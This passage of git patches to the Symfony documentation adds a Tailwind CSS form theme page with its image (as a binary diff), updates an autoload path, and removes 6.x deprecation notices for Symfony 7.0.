zJ;OS4Rpg2L3tvuhUE^V|61`<)+|Zu2;69rwuG$@1x<`BFq;`TXF%9C%dWG{+E!g6L
zX87}_z!@vB-3^gJPEKf^CkIpDHgU$gbkeR|nbYXsBsH(o40KH0JA^@#J+INT&h}oO
zq1!#7sw7}Nx96=~E~ySPV(XBJ$oqg;^@CDrZpf8O+|sEUy}#~o|2&!|R&@Ho6UpUT
z+#J(%$tZhHJGXjZmfOoW?*8zZoZ$?ZKuBc$x-Rbi_dafxBjrd<hou|6oHW}=5#c8u
zON`Fa&b)smjw7(i4rNY=Bb~vvocq0$Uq*Jf`D$<HHm;=5Tei`xtk3C5c$}$zN5kIB
zA_Vi_#U4VO+pS6&4pH!ks`s#5(C4j6&E-g`kX3b!;!TgsU(+2)`S|xN$plm&kfwU9
z)0KHt3}l{eolzUE#aWlPN@Nm~_dLip&UR?CA0(|loAtzXl&baZ<s4|XJ>_=MaI{&R
zL}Qw-|DHJ!PIPr4VZ^A>Is2(F)kZ*i@3;LCW7#WawXTm29}zPI(({2JpS{EV{VO7K
zpzyb)?hyIH%hTu5!zF*2)N?!*7s&WWHG8D+HQK$e<Yd)`t*3V)Vw*jQ_F{<r-i_8v
z4pxzl<MJT)7YJw3s}Jox#SYvFYns$Q%F5wK*lG_XI}G#9Yg1GN5t9YL85WCrKLmr-
z3}bI6RNUZu)rST6<Y%(N@s~C#0<3&><8&Q-Wqiv8KFN?4>%wm>Yz=sq=F_ox_`^Pz
zK|>_DXl3Hx{{6ABPZeh|uJZ*FhPg2=p0(0{H1VWH?pQ5lpUU>;kVH{J)X4m=ah?C`
zo%R2@<9{mb^uN#RAaFh%Q*pV5R(*o_eL+z|bRmwDPvg-H{R1G-opAcU2=wU}@}dWm
zkImDh;4&<vW32LrDrg0luD^re=KOgZ>a<^eQL~>aic%4LAIHfrYA@vx17FGf`<3^o
zdxWryn56%K_n-9{#NRBb3lI$#BS4rL)LPnu@%1sJ{Y8ugulw6`BrmCd`vXfXHp1}Q
zbA%uK-wLn&H#z$MKLF7G*8{?21QpkUWgYd@w7xP_=sf;21kdvWko*ylnmb$C%n(Ch
zQ(C+WAld+`sdHY?BOE>ju8$?=BnfVP<<Hw}vufwt{kOA0ppU)p*O`(+GV6cbcJ|vI
z^5O)<cio)E_qvzH$`|?FHg!|)uW}U4ew!B}?ueQSR^xD^ZqS(GOmh5Lm-(YLyLd<#
zaJ`Ro+g|bIbJDSoRwe&m(=j~}#HKFX3BNzV;*uZ2n^-r;srS3vIA`3_;>=mLQ4ht3
zB^Uwa3jM3!N5x_}a(ZHaRMBmGMC*dA^;;dN@$<PZ8rKf^&@{IMl8~MNxhqY`UL=dY
z#*0L}1d-~c_e^IlA4UaO18ZLE6N4_p6h5Hs7FU*5Z9iNN2`!3YvAW`=cat^PW3a(#
zP?ywh{=_e-@!I2fim!$DWI7`V;T?f&#T(E-A5)rrw{@{EkalisRPT<e5;D5|Mw{UG
z8KXp+nRVs%rE;jLe?B}{Z9})axSFW%L*gi3RaV(7_DPaf-@R<ePUCY4AOOi`2FV-J
z=`w^Fd356%367U9WLc!EdI4Y+>DM&L7{amtVmuJKKNgx}_q8AgYdYw1?Y-63Y0*yH
zms<hg;eq=Ls!DQ04G}kkiAjMuu|0X)%jH6DMhA>|{HmX|_Jo<z=^BF8#*h>`W*5%>
zyJCe#_V^e^fs&u!RKoGAvZGE{L~8`{VDz;&s)*8aZX^wrmZWM2=h7hSzA)3$%e;SP
z?COZhw=icS7#Dd4d>+a<dfBD~Pc-=kh=UKvQzjkU562A{bu8(&E<JEmy}mV6uJ2U#
zm5r<u?`{;tReRq~%&dfirUhF06=yPQ|IQ=oSA6h8n%<ImW>9mo1#q-tFtPM-JS+W!
z;0-(=JHGNUgc;;f2BP{MoFH0jcv-~*8i<62C=JiRPE)FT_1Uk#B85LP{<y=JC6dXI
zr+|2T?L{QC-GwQOs-I?R-Q5k{jif(|IBu)%8ok#T&FC`Anwoq+$2P2mE%C(${CD}J
z7hWQ!|G?&e;+YS|Q*a-<Dz<{rfS$UH5ToYG;4?aZK$-xFZb73i<mvHNCAG`O?X<nM
z!`)?Qo@2=!(`v(rXZN7m(^fY6txh~5ggkI6t+|`pORq5^tK#}MjpM2gJYE4BNq?CT
zUF_T%pbS5L22Z@IJ{479o4WoZk=iQTPr%##hPyvEe?fOkDC9{4^CuS$+zDfblB-I#
z6ki9+*NcPQ(y{}iXOv$Zlxb(QiKmRFs<T}j{z60*9|+2skCaP}`<r+doq?>A#oZXg
z6%6$VT!da3?~6EO6v-{qp6|N&O#h3QKGr3zid+o1?gEcWd0*cuZ-39A0;s@*5eFa<
zBn6D!ny(XTpFr+o%L|7f#uwoRQdh`il}lHCwD>79^oY(fme_H;ps`nQkorS72T%-)
zR@mifz^@_$)Ie}JxG5$fpl2QcJr((~5z7EF3V0laD)DwiM(F?khd}7*xX|cvvqE{l
zm|xuZV9dtfd`_PK5LM`A=}|m~nQ~XyyYDbBhl%0ijWUj@vV!3*B2wqYAwbqkaY5A6
z)6>wj_{xCNnL!a4+jAec2dHG=%gf72sN+vT5K?T<2Qje@lp+y-1b}wK0{$HzAJ3>!
zDU<$471ZkYaCLoMaFO2L89q)RS7xvQm{Oo>)DO^A^4lXPH2Zy#CIG*f=8gt7?zd22
zr0+Efy&n#B<N`qYxj8C@HH33mg8JuDi^mFEEU8!TqIjL)@*w7<n5o%zU<if80ze*=
zJb76sN7DA7!VLHg85)HqBxUN)w~Zs>s(WVhKo86<t0*w21+Tx}-dmnf2rcU12ohV9
z<Pt>{?C<0PdBh3YvDx73`t!QOV+%b+F!$+LZGfY?WN&!KmZL5u<`_=~aWcMd{`?22
zSn=6;T>7p6xi$+Yg=lu(SK@<mu+3?&{M;F7#yLLx*w&hYzat*ot5tuibun8{(s}6J
zcrdTF^}s*>Jo_N|{+*)y(8elThdiIeuFoLOBq?y%Pxe-(^IpV$-^qP_Tb;ZIq&E<|
zhUNA#9njFB#JkWblZB-)p<IvaGSFfpw0)AwLXl6-;q?!ap5cJ_?Q|<s&akL2FR3yD
z<x4(C5{SBc;#`ik|2~y~#QYrR`kse_W^U~D&!!#V91dXigDb4WyhG;b9)~J2#dw&#
z^@25)=lDL#t~a7P`#RN20{ILF3m2oibx$*ujO_YliSG<&p|KIr+0|ny+?nFmY2GgO
z=d-!musy8F(sCaehZ!DiXq#)Q9s32lDw_F$=i4s>z^zo!zCH$Xy>fBkZ(`bNm2MJh
zi;)bk)L9W_^=*(@H%?t%2(pq#Hz)q-!T-3-Cn$(ftZLQE3DsPnD9Y#e7+-E~7bp$6
zGXEYOc0$tP3xdr%Z-J(0Ec^-Em3GmjNj$fG(zp=s<RgkuD*xs+?3=z3|K<VeA0@gd
zcB$KTiFJqklm%*G$BU9ovjOJQMyKfOVP+K%5Bf^@#|yeMR(lr~J6i)h1cS%oyK$^=
z2^TzVA5p9v0Y|G{yvAem8VK9)X!>WCyOnahpjl0?e!*WCi#eh~m!sRM?|q__nfl8{
z9f)V|*B4Fey|YyAwO8{KAkqOZNCJl(Zj8>NSZXtWWKwqwS89{ixqw`~o0hMI`pcsB
zpOo?+{36A~(e}vliyuMJ3Ty;8f*Flj_Yz#MI@<J|R(~XOUQuw-j+N2bJZHWwRt{eA
zSU>o5OOb9@5YkT(klz>=)#aw?TUe|oul$UsonUnIoQ9S)6bLY1JN1^&;M8V?Bo&w+
z_2lJbG7qu7UVXX|$u=0*ESKrL_$r;$ET_ogx0OBrnK>QL86YxFq0}#UL&ZRat@44R
zBJ?Lth$MB-MP&hz&KvSkEuEMT>T<+NV;rNN`bi*BqU6ozbPMm?S@sWHCA?TnRPmgN
zP-_K1O;fjI8QOKd!Tyca_kGfh-ZUnH%rrQy%RHhc^KMaY5tp}tPLgNq8!nCmalK}A
zlr$!L($qI*R9>D!spkVXM4i8=3MeL`Qn<q2=pKcfS0DCD8^};fu73YK?^c{didDy5
zdhZev!e8cq9BC&&ZOj`dINK81V{GD18(A~&kwmv&)6FQv9!E%a90;}Z^X)(99yb>B
z4=d<!isQSQdkQ9W-Wq&C)@s>AKs@Cy=n>*^^#r^?G+{FGdOxzwz0=;$!|t)M<?GOq
z`$%~wndN?+7km73ybmUm@*dy;Y6_#V2<1=TM@&aYIYFd08*TVa1qpGZjBLwPxvytL
z?<mcP8peQx5s#KS<qRRX!g0Pw&g8*T*O!98jNE+|P`*uvhMFcpUlJpgbDs6us>0C3
zyYGA$R)H2e744ISoI!z9Z(92|8$(AG#UmmjeK>{*!K}FklPiIN1)WgaBS%9W&+BaZ
zq{9x}TVnl(mxrv}rpq=4*}BjfiNd;+FaEyo_n$Vb)S4wJ>ph!@ENy;wBmAX+o=WIG
ze6*uUTuF`O{Q7oD_u^eTD*zCku<hL-DVm%qulH}``sf4=_5_T)=GmszURv^3emfiy
z1kLW>x72n2d>d2Wo1;Uy60apbwZK1O&fifQIO1$|;3!Aw{8OA~V7wc@+ahV;Csn@7
zpL5Zxqdj67XDB~21uqb2J)-Qrd5wKvnSd|8?uJrzx+B)z6LNpbs^{hP)hRI|IZItC
z;C5hSH_rZC{?2V~)j)ExUkA5df>H?iY_&8y{>Z=C{O+W3ES>{DF6sQ0#+|J<;eI5T
z9HW3#Jmd*khRtZ!C*?J2!BSbs_}&ZFb(%aV<)`S>&BT&%1@rJ`<tOr=DuScxjC5p?
z5{I16@oXG0kTi76={l6(xqsqdS_mU$U<<hXz<NkI2Btf-G_IoZGd{*Bt;qXYcifn4
z20m?{%&<_Lynk=u$$!Dok(K6{O`bjNa;{|PwS9(eJ`SC#v%w{H;tcQJlh&3+BR<!V
zo{$GRzAgTGiYWpS?29@_ccKT?93ruM)&6KI6m0%^>C02OYLex_5_W&nQ&-+!&2HAg
z&T2(ecUPLaLF#loo3rLTEqJ#)r@|Y%L3zqFlroUm+qM?#LaWb_Pd-9Cv8^_`zH)OH
z45e0e_c#N*mpq{>W&UM(a&UnxlAGTuRKwZCIv=#j9x|C7Vz?1z1U8=J)qPpx!D+V)
z3BIYmJh?iy?U28YlO!+r=YkO2vC5F@obP+}RzJ5oro6Fg|D`2kCHvqyE!6p8p<O1R
zi`dkO`gxSC9uiV}Ja*|_*cGr&$i(o0!|hA=aEIP5%1BOkQ96A-G^8dWX-Gao;6T8%
zXLwo-=<rROO_FrTYVcv*O$dK$g2-$tlBiXBk7#|BsAuKyeU)jhkOPo}jLKxS&Lh1(
z+~#wq{F6#e5`{`_9V=XgvAb5kLDY1^#!P;Pyg%~#+_l0jQeh-ic%$JLXIw;V#^q^z
zEVsKJN}<!5mY+7R6-n7@N1@Dx3sbn|JvPQ(+!48cw|w@e2={;{XUg(hKYf=TwH3yt
z0j?_+wy9=6t_}R_FZv@kxbwG=&`(!QMr7;3j_AXuKzjq#qm#Gu*ZXJQuI#txvCdqV
z^X@=Z#Ltp`=K{4;10{n`1ot96`n(-D%+o^>auuZFI~=`vjAG$7c(;wLi57hMyXFwi
z&*uBVg<y}37fk|TPd+;}hHPkh`7qp3ZJ$$D`VMJBNOXy1#q<R^2uz5YUI1&$mFu#j
zVo4xcGw9}ZQ?K=MuOv0e{Wg$_p2JOF36^AJSH?RT0V*yrxqK`isrDD>-n^$XAY0$`
zvpH|--YVJvNjtlA^&~mH?IWqvM|ab``y}UV#dg#{(zLWnX{*+_F3>Mj5ic*4)U!q-
zWH^m60KWA0Rn{OOBn%|u56PasT+b}R*d-p9iIdPyRU%U*mp*Qr(l9ij4#)KjYSz+z
zX-Q#Ez@yB-qZ(M0hq_<~77+3!-%M^^k2bW~m=Jl7M@-(j>0{AaA5<`;Z;k%ex8a!3
zyV0``q;XqTT-*{3g&a~^qFY)kL~|qrg@o+@+Vz=mxlk2ka%_7qh;97bfb3$0(4$V9
z#eeek_kZG@Cp1?+n2a&Ys0%x?oG}9n&G&9S+L*s40giKI(Oq&$5widKro>5S#!TJF
zGiYI=UfR4{CPl6Za_k>gS!dxEl8im6b8WOC7Q$s~-tC+f9il%m<YYpj-TB6B`sEMe
zf)bAmK5R30rfdNg`jPVw_#LO+o3S}^*Z5<XhmAUZ?h~M%<=1&zerDjQMl0JO)D_%~
zO~SmA``jS+{f83d4J3eUXo;}s%TZp)l=%#FCb79PUf0Pqq$)PvEX2@AXj>Ujen>Yk
z`yAi{wg5Ty9@4uJ^YN-mkUx??`L{7Tz9d!by{6n{r~xin+yF=jdEAZg&@R#i+6#(U
zZ*<<T3lP$7S=G7sAswinTxVK_l1<&e^bKX{(GcM&33;3Ko$IdmoiW9l2OE#80c$Ji
z0N7#Lu0TL2?l++h^-`|jdrr^R_<M@pn=x6Z7gZi;6kuajcF&hCGRCJdW4&CBfy+mf
zajY&cI<Ke?ma!%IkH1idaxq!|8nEZAcizyfg&v|jRL#j|w0Ns<u3bwG?jWyJJ8auf
zW_Oi)W-{J5s<;}dGkK`hb~n2^dXh;<pz4(v&OXz>*+p-=yrQN|-p4#LEI~FG+ts0-
zXPR!aIyuucGG481<`Edw#l1`HxKCbtI>vz`)6-0`0?4H}I_Qts&j!C#;LS};da?HJ
zifpsH_l$><PXG}>6J-iX2`VohrW}Ms{C1t%%bM4vcy%D@a%RDslKmn#J0N-Qxt%9t
z_!R-TW3=boJ@5Qd3EMYSay^rgDsAruIoK-9;*{yy(;TSQnf>xsAb2c4G1a%BxwFTp
z^ky-&=7#Ih$(@Q{J8fizD@S+Vqdz1A&Fcj(idU%#?`BYhD0&r2a4VaxUqU_XtQV26
z7u@SZVq@=pdP=S@Th7sXLpP+mv{qJq^^Gs~(KE_*+xiz;>W=rz>gNNA3(nsk%zsLJ
z2PM~evw5wpyKe`U9r&4Lu=Zo5*$#Y%${4D&nw|MmYdjVxEy_9MH*tK{ug5hOOR_Zd
zMXb}fq%&H~?Gc)b@xoZUf$`d6Ue5Aoed=&Ajc(iMB_gOigv4zV6cTD_`<boFNyV<)
z`P=CbQNe3m+a!~!rr#O9wFF@D+Z;eWgDK>*h-QAFcD5Nnxf^?XzWLFC1r~_C0EB}N
zyDR6eNz4Oq#SLKrpz|i6fqXIjxep{-ZbJ`*p_rtw)PJQq5@~v<0-$0Qo&=K7qUB=%
zQ)-d)2cTP9#DM&GdLgi>zpN+%6zyY9WFXn$=_%+~Ct&W~%lk3*Fng4Ztyeu|8^+c?
zJ_G)}+vst9vGmAGLPSJlaz)^k_tBB<-C?*F3!ojuQ2H8%sMICL1j5LUyO19oo)9m9
z2}a)2^`T2~Zn?$|YpL*Ga^QxI0ST4{L*e)1gomC$?3fJ1j=SnbNO00tSRQy<Hxac?
zcrxDyj1Q3CT0I<pt3R=Tp~=76A%aKjj~#*J4cM#(9nrR501(<ku?)#!ht~pwlmiCo
z_-4WzPQj$n0h1)~t3V&PKWs(-Awg@=8p+>Us&7C`0lFv$9C)aU$p_qHvO*IDQ6HQF
z2oTP`m4+b*L|s@dQC*A~qIugOKJWl3AIDh{l=Uuf58Vmdhlr-6t|EZW2mcQ*B2)CA
zeULy6m)G%h0@K(jK$vS?xqlR#wGL%Sp=AByof%nozSt~cEHu~cyRDDlO7s93yScIG
zFy=<TXQhIl&NGl(b9+E?W&x#Fv4CRf7kgTjXSJ_fX{PIjYMhK%jdh;p3r=>GBaxF`
z_CTo{KDNYNQ)DQNp>XV0X0N!L)99Fo?d-~(z|T^|bN&Z;9ec7CZ(Sf&dhJxh`5);v
zDja8XOntp<b|+mneOHV$dshZ5X0qm5I*9jNL{K41&?zNv{170YcL@2%v{8TLc$H>=
zmYG%sX+}-N1J+dnf`Z4Q1JQQSP2Byh3&;{m8WzW8nNl3>sz>{x?;<D9?nq^}UY#Vc
z-acrmGX^7_wiN55mUk+XGJyCPvIk(4jq@OK)<e~vZ9L7~TXlC5K`rs&e3}#O-Sp9_
zsF@cjI!oE!(7{jevrvBsLy%wKgPrNsPL5^h@e^XC<$+AGmmWgA-pb^aoXS+|x6<m-
z>xF!PZvG@@vP3mcXk*ra=&`=x`f_`3>f^QR(K#eHcx83C9;_FD-fWHiDR+&TqxEJR
z+P3pIB>51-yR6V&a|fJ(l~2~UBn~N<=<RK+P8GiK@@KVkKm35Q$7SmMj55u`_bm4A
zY++-;K$%^B%9uz0UJ`Uy(9wr?fC`74gRE!5k|}Hi&jw;#30L6&HuIYt#8b%|T0=g1
zYYNL@19f8GH7~nWjeg4+d|T6yBOtU%t0iP#U;^EuQvJjCVA5<iHS*7NaVMu1%AP}T
z?RFwgf+1bMYTns*?t3Hs^=~g!`D3{?KT50>O77kqJj`+~CMM-#=rgi7eQd;7t`GG{
z5uL%dIhSg8ux8Z{d3>HkbN(G|)q|kDT#<B~&eG;^1P|BU7AuP$M0wDJPYx^W1Lk=B
z;bc3Sx%3uBRpXk}>BjCtsV|C-IP1MHGFxgnP$y<#X?v7p2tBbsJGcF~SIVB#>MhVe
zoXWhe_=o9FY-l}cb+X}?fj~{XVJV_AIOqE|s!6UTeW1jW-azB?NNE+K)+!KaH<F0Q
z_%^ChZg;p$W=gp$>)U#KF;G9}F17>L{K&inO?wNBq34{-7xZc-OJ-S_OaRr}b^9*`
ztD40=FR@gT&vlj0llOs|)*$tYF)3ks9TDx^pF7xcPEm@XS{oMJK$8cC++%^O744L7
z4fcSfqll{LvMeQoF`+twp-d}^DX^nX_EPnX!eix(6Og<e?Y}pKnKMjPNIBBZ<rps;
z{*~?)d9(MODAAQ_{!aX2Vl#<Pd8w}%*a-vPE}*LfoM(%{j$!{4EZnMgwqZ_Fe9}}c
z@>IcyPql(N>>avO9oJ_L=y5t1e+KtWVt4QLs&ZW)@kzcGSr5f{xokyfdN?6_mZ3D7
zImEaezE&XA$oDrJLYK|wK!&ZM>C}F$=jF{+!9HtprPGtD!eWzWSL|n=<E9-Gd$MxC
zW8^;MGzaR`w;BSw!@Vs8o#$L|p??gajrV%Ou1J~Ee%DXH0GYm2un^xLz==|FLfH|}
z$yi+$2__6b85^zti9Eh={CNhp9a$2EyU@)=fBM=mFtHxPvJgilSNLFuXhsjgNYU`7
z{*s0f;>9|2H=9ak7N5GkmyH=_Kxs2TmLGaFwi26{?_X`BWkFwqZZG(Zm;350U)_^q
z1<!`4HiS3i_BnAgfcnlJiJih`_&@~`SLe5i6H`mo>t;z4-O$0t?tn+-D%u(-Vk;C>
zy~CP3uP_qN+L-E;dv2|Z6+PkqqsEEwSe%&f{XhiY>*P5Z>f=73>X;JHmJXD8xjaev
zq)$9bNz#~SaDEnUB4JXSShGU2{N*5t&PtBA23W#0H1XARSGtGpJvBR@dbQYUOmgE%
zfSP>c_HN9A*N$1C+ZzpK7lUUn``fpf^t|N1Sil<VKp2sK0mp7<4vk=_)#+0D=NAuI
z_f#vBwht0998WM?x_(>VelpI)oK|{;r(!w(HGq=U-kr>jkQpSFZ>+fUr>gXeD3(e`
z@ycZ4z&tTHiN<P(_bj!#Em~u+ZsKtVbuTSD!xZVZCtAUf1ptlsCU3hpH0wRFT|cnu
z%`$Q}a3ufgGxp8)Yt?Z4asKnLch70@Hlb@t)wroYYcy+La$Fkjn?=MSn(UK<HVTMi
z8K3)H!`Nx9!`-2#tdVGuQ#H6F{vk{VQ)e(yNdK$Ig0sx#>V-atiavROdUyM*(TPYY
zg8}unpKLzINBEC7C1FUxbVn6|6gXi>!K4CSgd>bB0H7$Sqy;(RY2a{(vv6GaFH!&m
zA_BRE`UsXDhMiio#z=DDg#O8I7*eQkU_>AV7|@z5S4TngKS}{w%%A<P3`10r>jG6Q
k4-=Km5QRvCk;wN#Rn|wG6URDI{{VlIALQN_iGaTT7xry{#{d8T

literal 0
HcmV?d00001

diff --git a/form/tailwindcss.rst b/form/tailwindcss.rst
new file mode 100644
index 00000000000..52f4eb857d9
--- /dev/null
+++ b/form/tailwindcss.rst
@@ -0,0 +1,95 @@
+Tailwind CSS Form Theme
+=======================
+
+Symfony provides a minimal form theme for `Tailwind CSS`_. Tailwind is a *utility first*
+CSS framework and provides *unlimited ways* to customize your forms. Tailwind has
+an official `form plugin`_ that provides a basic form reset that standardizes their look
+on all browsers. This form theme requires this plugin and adds a few basic tailwind
+classes so out of the box, your forms will look decent. Customization is almost always
+going to be required so this theme makes that easy.
+
+.. image:: /_images/form/tailwindcss-form.png
+   :align: center
+
+To use, first be sure you have installed and integrated `Tailwind CSS`_ and the
+`form plugin`_. Follow their respective documentation to install both packages.
+
+If you prefer to use the Tailwind theme on a form by form basis, include the
+``form_theme`` tag in the templates where those forms are used:
+
+.. code-block:: html+twig
+
+    {# ... #}
+    {# this tag only applies to the forms defined in this template #}
+    {% form_theme form 'tailwind_2_layout.html.twig' %}
+
+    {% block body %}
+        <h1>User Sign Up:</h1>
+        {{ form(form) }}
+    {% endblock %}
+
+Customization
+-------------
+
+Customizing CSS classes is especially important for this theme.
+
+Twig Form Functions
+~~~~~~~~~~~~~~~~~~~
+
+You can customize classes of individual fields by setting some class options.
+
+.. code-block:: twig
+
+    {{ form_row(form.title, {
+        row_class: 'my row classes',
+        label_class: 'my label classes',
+        error_item_class: 'my error item classes',
+        widget_class: 'my widget classes',
+        widget_disabled_class: 'my disabled widget classes',
+        widget_errors_class: 'my widget with error classes',
+    }) }}
+
+When customizing the classes this way the defaults provided by the theme
+are *overridden* opposed to merged as is the case with other themes. This
+enables you to take full control of the classes without worrying about
+*undoing* the generic defaults the theme provides.
+
+Project Specific Form Layout
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you have a generic Tailwind style for all your forms, you can create
+a custom form theme using the Tailwind CSS theme as a base.
+
+.. code-block:: twig
+
+    {% use 'tailwind_2_layout.html.twig' %}
+
+    {%- block form_row -%}
+        {%- set row_class = row_class|default('my row classes') -%}
+        {{- parent() -}}
+    {%- endblock form_row -%}
+
+    {%- block widget_attributes -%}
+        {%- set widget_class = widget_class|default('my widget classes') -%}
+        {%- set widget_disabled_class = widget_disabled_class|default('my disabled widget classes') -%}
+        {%- set widget_errors_class = widget_errors_class|default('my widget with error classes') -%}
+        {{- parent() -}}
+    {%- endblock widget_attributes -%}
+
+    {%- block form_label -%}
+        {%- set label_class = label_class|default('my label classes') -%}
+        {{- parent() -}}
+    {%- endblock form_label -%}
+
+    {%- block form_help -%}
+        {%- set help_class = help_class|default('my label classes') -%}
+        {{- parent() -}}
+    {%- endblock form_help -%}
+
+    {%- block form_errors -%}
+        {%- set error_item_class = error_item_class|default('my error item classes') -%}
+        {{- parent() -}}
+    {%- endblock form_errors -%}
+
+.. _`Tailwind CSS`: https://tailwindcss.com
+.. _`form plugin`: https://github.com/tailwindlabs/tailwindcss-forms
diff --git a/forms.rst b/forms.rst
index b3dd9e207a0..80e98ecb768 100644
--- a/forms.rst
+++ b/forms.rst
@@ -1029,6 +1029,7 @@ Form Themes and Customization:
 
     /form/bootstrap4
     /form/bootstrap5
+    /form/tailwindcss
     /form/form_customization
     /form/form_themes
 

From e95def39f4a374071c52fa5e91d145333684135d Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Tue, 15 Aug 2023 15:05:13 +0100
Subject: [PATCH 3662/5766] [configuration][override_dir_structure] autoload to
 autoload_runtime

From Symfony 5.3 we use autoload_runtime instead of autoload
---
 configuration/override_dir_structure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 2a5df047611..21e3f89d31b 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -254,7 +254,7 @@ your ``index.php`` front controller. If you renamed the directory, you're fine.
 But if you moved it in some way, you may need to modify these paths inside those
 files::
 
-    require_once __DIR__.'/../path/to/vendor/autoload.php';
+    require_once __DIR__.'/../path/to/vendor/autoload_runtime.php';
 
 You also need to change the ``extra.public-dir`` option in the ``composer.json``
 file:

From 674037b860f81b8d0b5fb39857ba0e178a9cbc80 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Jun 2023 13:46:14 +0200
Subject: [PATCH 3663/5766] Remove all 6.x deprecations on 7.0

---
 components/console/events.rst                 |  10 --
 components/http_foundation.rst                |  11 +-
 components/validator/resources.rst            |   4 -
 console.rst                                   |  11 --
 contributing/documentation/format.rst         |   8 +-
 doctrine/events.rst                           | 165 +-----------------
 mailer.rst                                    |  14 +-
 messenger.rst                                 |   6 -
 reference/attributes.rst                      |   5 -
 reference/configuration/doctrine.rst          |  10 +-
 reference/formats/expression_language.rst     |   2 +-
 .../options/date_widget_description.rst.inc   |   5 -
 serializer/custom_normalizer.rst              |   9 -
 service_container/service_decoration.rst      |   6 -
 14 files changed, 19 insertions(+), 247 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 66e3cad013c..d7348996c94 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -255,16 +255,6 @@ handle all signals e.g. to do some tasks before terminating the command.
         The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
         introduced in Symfony 6.4.
 
-.. deprecated:: 6.3
-
-    In Symfony versions previous to 6.3, all signals (except ``SIGUSR1`` and
-    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. Starting
-    from Symfony 6.3, no more signal is automatically calling ``exit(0)``.
-
-.. deprecated:: 6.3
-
-    Not returning a value in ``handleSignal()`` is deprecated since Symfony 6.3.
-
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0e46d0648fa..28ddc307fa0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -152,13 +152,10 @@ has some methods to filter the input values:
 
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
-
-    .. deprecated:: 6.3
-
-        Ignoring invalid values when using ``filter()`` is deprecated and will throw
-        a :class:`Symfony\\Component\\HttpKernel\\Exception\\BadRequestHttpException`
-        in Symfony 7.0. You can use the ``FILTER_NULL_ON_FAILURE`` flag to keep
-        ignoring them.
+    If invalid values are found, a
+    :class:`Symfony\\Component\\HttpKernel\\Exception\\BadRequestHttpException`
+    is thrown. The ``FILTER_NULL_ON_FAILURE`` flag can be used to ignore invalid
+    values.
 
 All getters take up to two arguments: the first one is the parameter name
 and the second one is the default value to return if the parameter does not
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 5dfacd3e48f..19b0c54b6ec 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -114,10 +114,6 @@ If you use annotations instead of attributes, it's also required to call
         ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
-.. deprecated:: 6.4
-
-    Annotations are deprecated since Symfony 6.4, use attributes instead.
-
 To disable the annotation loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
 
diff --git a/console.rst b/console.rst
index a242d99904c..a887b2a340d 100644
--- a/console.rst
+++ b/console.rst
@@ -171,12 +171,6 @@ You can optionally define a description, help message and the
     ``setDescription()`` method instead of the attribute to define the command
     description.
 
-.. deprecated:: 6.1
-
-    The static property ``$defaultDescription`` was deprecated in Symfony 6.1.
-    Instead, use the ``#[AsCommand]`` attribute to define the optional command
-    description.
-
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties
@@ -238,11 +232,6 @@ If you can't use PHP attributes, register the command as a service and
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
-.. deprecated:: 6.1
-
-    The static property ``$defaultName`` was deprecated in Symfony 6.1.
-    Define your command name with the ``#[AsCommand]`` attribute instead.
-
 Running the Command
 ~~~~~~~~~~~~~~~~~~~
 
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 568a5a0620f..2402439fe8f 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -216,7 +216,7 @@ If you are documenting a brand new feature, a change or a deprecation that's
 been made in Symfony, you should precede your description of the change with
 the corresponding directive and a short description:
 
-For a new feature or a behavior change use the ``.. versionadded:: 6.x``
+For a new feature or a behavior change use the ``.. versionadded:: 7.x``
 directive:
 
 .. code-block:: rst
@@ -243,12 +243,12 @@ For a deprecation use the ``.. deprecated:: 6.x`` directive:
 
         ... ... ... was deprecated in Symfony 6.2.
 
-Whenever a new major version of Symfony is released (e.g. 6.0, 7.0, etc), a new
+Whenever a new major version of Symfony is released (e.g. 7.0, 8.0, etc), a new
 branch of the documentation is created from the ``x.4`` branch of the previous
 major version. At this point, all the ``versionadded`` and ``deprecated`` tags
 for Symfony versions that have a lower major version will be removed. For
-example, if Symfony 6.0 were released today, 5.0 to 5.4 ``versionadded`` and
-``deprecated`` tags would be removed from the new ``6.0`` branch.
+example, if Symfony 7.0 were released today, 6.0 to 6.4 ``versionadded`` and
+``deprecated`` tags would be removed from the new ``7.0`` branch.
 
 .. _reStructuredText: https://docutils.sourceforge.io/rst.html
 .. _Sphinx: https://www.sphinx-doc.org/
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 6b445ef74ea..ce345643d83 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -15,7 +15,7 @@ There are different ways to listen to these Doctrine events:
 
 * **Lifecycle callbacks**, they are defined as public methods on the entity classes and
   they are called when the events are triggered;
-* **Lifecycle listeners and subscribers**, they are classes with callback
+* **Lifecycle listeners**, they are classes with callback
   methods for one or more events and they are called for all entities;
 * **Entity listeners**, they are similar to lifecycle listeners, but they are
   called only for the entities of a certain class.
